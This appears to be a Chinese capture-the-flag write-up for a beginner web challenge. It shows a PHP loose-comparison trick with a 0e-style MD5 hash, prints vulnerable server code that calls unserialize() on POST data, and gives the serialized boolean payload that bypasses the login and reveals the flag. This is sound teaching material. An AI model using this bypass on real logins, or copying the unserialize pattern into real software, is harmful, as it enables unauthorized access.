ctf的web题目php,CTF最简单的Web题

http://www.shiyanbar.com/ctf/1810

天网管理系统

天网你敢来挑战嘛

格式：ctf{ }

解题链接： http://ctf5.shiyanbar.com/10/web1

查看源代码发现提示

md5($test) = ‘0’

百度0开头的md5值，随便拿一个带进username用就OK了。

得到一个提示：

/user.php?fame=hjkleffifer

进入　 http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer

$unserialize_str = $_POST[‘password‘];

$data_unserialize = unserialize($unserialize_str);

if($data_unserialize[‘user‘] == ‘???‘ && $data_unserialize[‘pass‘]==‘???‘)

{ print_r($flag); }

伟大的科学家php方言道：成也布尔，败也布尔。 回去吧骚年

把复杂的数据类型压缩到一个字符串中

serialize() 把变量和它们的值编码成文本形式

unserialize() 恢复原先变量

弱类型，bool的true和任意字符串弱类型相等，

所以构造的user(bool)和password(bool)的值为true即可。

$payload = array(‘user‘=>true,‘pass‘ => true);

echo serialize($payload);

?>

得到

a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

user:admin

password: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

得到

ctf{dwduwkhduw5465}